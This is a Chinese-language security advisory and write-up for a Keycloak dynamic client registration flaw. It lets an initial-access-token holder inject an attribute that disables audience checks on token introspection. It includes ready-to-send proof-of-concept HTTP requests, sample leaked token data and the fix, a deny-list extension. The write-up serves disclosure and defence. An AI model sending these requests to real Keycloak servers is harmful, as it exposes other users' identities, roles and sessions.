CVE ID: CVE-2026-105306 · CWE: CWE-862 · CVSS 3.1: 6.5(中危)
受影响版本: Keycloak26.4.0–26.8.0/ Red Hat Build of Keycloak
Keycloak 是由 Red Hat 维护、被广泛部署的开源身份与访问管理(IAM)解决方案,为企业应用提供 SSO、身份代理和用户联合能力。
在对 Keycloak 客户端生命周期管理进行安全研究期间,我发现 动态客户端注册(DCR) 流程中存在一个严重缺陷:注册端点未能过滤与安全相关的内部客户端属性。这使得仅持有标准 初始访问令牌(IAT) 的已认证注册者,能够在创建客户端时注入特权属性 allow.token.introspection.without.audience.check。
一旦设置该属性,它便会指示 Keycloak 的令牌内省提供程序完全跳过受众校验,从而使攻击者的客户端能够内省该 realm 中的任意有效访问令牌——无论该令牌的预期受众是谁。
在标准 OAuth 2.0 部署中,资源服务器通过调用授权服务器的内省端点来验证持有者令牌:
POST /realms/{realm}/protocol/openid-connect/token/introspect
Keycloak 强制执行受众限制:客户端只能内省其 client_id 出现在令牌的 aud 声明中的令牌。在多租户和微服务架构中,多个客户端共享同一个 realm 但必须保持隔离,这一边界至关重要。
然而,Keycloak 提供了一个仅限内部管理员的开关:
allow.token.introspection.without.audience.check = true
在客户端启用后,AccessTokenIntrospectionProvider 会故意跳过受众验证。此功能专为特权用例(集中式审计网关、监控服务)而设计,且仅应由 Realm 管理员 通过 Admin Console 或 Admin REST API 进行配置。
DCR 使授权实体能够通过将客户端元数据 POST 到以下地址,以编程方式注册 OAuth 2.0 客户端:
POST /realms/{realm}/clients-registrations/openid-connect
身份验证通过 Initial Access Token(初始访问令牌)进行——这是一种限定范围的凭据,授予注册权限而不具备完整的管理员权限。由于 DCR 注册者不是管理员,注册流程必须严格清理传入的属性,以防止权限提升。
该漏洞源于 Keycloak 的 AbstractClientRegistrationProvider 和 RepresentationToModel 映射层。
┌──────────────────────────────────────────────────────────────────┐
│ DCR Request Flow │
│ │
│ Attacker (IAT holder) │
│ │ │
│ ▼ │
│ POST /clients-registrations/openid-connect │
│ { │
│ "client_name": "attacker-client", │
│ "attributes": { │
│ "allow.token.introspection.without.audience.check": "true" │
│ } │
│ } │
│ │ │
│ ▼ │
│ AbstractClientRegistrationProvider │
│ │ │
│ │ NO FILTERING of internal attributes │
│ │ │
│ ▼ │
│ RepresentationToModel.createClient() │
│ │ │
│ ▼ │
│ ClientModel persisted with privileged attribute │
└──────────────────────────────────────────────────────────────────┘
ClientRepresentation 对象。AbstractClientRegistrationProvider 将整个未经过滤的 attributes 映射转发给 RepresentationToModel.createClient()。allow.token.introspection.without.audience.check 被直接持久化到数据库中的客户端模型里——没有任何验证或剥离。AccessTokenIntrospectionProvider 中的利用路径当攻击者的客户端随后调用内省端点时:
// Simplified flow in AccessTokenIntrospectionProvider
String bypassFlag = client.getAttribute(
"allow.token.introspection.without.audience.check"
);
if (Boolean.parseBoolean(bypassFlag)) {
// ⚠ AUDIENCE CHECK COMPLETELY BYPASSED
// Full token metadata returned regardless of audience
} else {
// Normal flow: verify client is in token's audience
if (!isClientInAudience(client, token)) {
return inactive();
}
}
由于该标志在注册期间被注入,受众验证被完全跳过。
POST /realms/target-realm/clients-registrations/openid-connect HTTP/1.1
Host: keycloak.target.com
Authorization: Bearer <INITIAL_ACCESS_TOKEN>
Content-Type: application/json
{
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"grant_types": ["client_credentials"],
"token_endpoint_auth_method": "client_secret_basic",
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
响应(201 Created):
{
"client_id": "attacker-introspection-client",
"client_secret": "generated-secret-abc123",
"registration_access_token": "...",
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
✅ 特权属性被接受并持久化,没有任何限制。
攻击者使用已注册的客户端凭据,内省一个完全颁发给另一个客户端(internal-billing-service)的令牌:
POST /realms/target-realm/protocol/openid-connect/token/introspect HTTP/1.1
Host: keycloak.target.com
Authorization: Basic <base64(attacker-introspection-client:generated-secret-abc123)>
Content-Type: application/x-www-form-urlencoded
token=<VICTIM_ACCESS_TOKEN>&token_type_hint=access_token
尽管 attacker-introspection-client 不在令牌的 aud 声明中,Keycloak 仍返回完整的令牌详情:
{
"active": true,
"sub": "9f21f736-2248-4351-a982-1209b5334cde",
"aud": "internal-billing-service",
"iss": "https://keycloak.target.com/realms/target-realm",
"preferred_username": "corporate_admin",
"email": "[email protected]",
"email_verified": true,
"realm_access": {
"roles": ["admin", "billing_manager", "manage-users"]
},
"resource_access": {
"internal-billing-service": {
"roles": ["read:financial-records", "write:invoices"]
}
},
"scope": "openid email profile",
"sid": "b6a83689-d2b3-4628-a3e9-7f1234abcdef",
"client_id": "internal-billing-service",
"token_type": "Bearer",
"exp": 1791740000,
"iat": 1791736400
}
🔴 完整身份泄露:用户身份、邮箱、角色、作用域、会话 ID 以及令牌元数据全部暴露给未授权客户端。
sub、email、preferred_username)、授权授予(角色、组、作用域)以及活动会话状态(sid)。PR: #53748 — 从 DCR 请求中剥离 allow.token.introspection.without.audience.check
提交: b20924e
扩展: PR #53470(现有的 DCR 属性过滤器)
目标分支: main、26.6、26.8
在此修复之前,AbstractClientRegistrationProvider 已在 PR #53470 中引入了拒绝列表机制,用于从 DCR 载荷中剥离某些危险属性。然而,该初始拒绝列表不完整——它并未包含 allow.token.introspection.without.audience.check。
PR #53748 中的修复通过将此特定键添加到拒绝列表来扩展现有属性过滤器。在 DCR 处理期间,注册提供程序现在会遍历传入的 attributes 映射,并在客户端表示被传递给 RepresentationToModel.createClient() 之前显式移除 allow.token.introspection.without.audience.check。
// AbstractClientRegistrationProvider (simplified, pre-patch)
public ClientModel create(ClientRepresentation rep) {
// attributes map from DCR request passed through WITHOUT filtering
// "allow.token.introspection.without.audience.check" survives
return RepresentationToModel.createClient(session, realm, rep);
}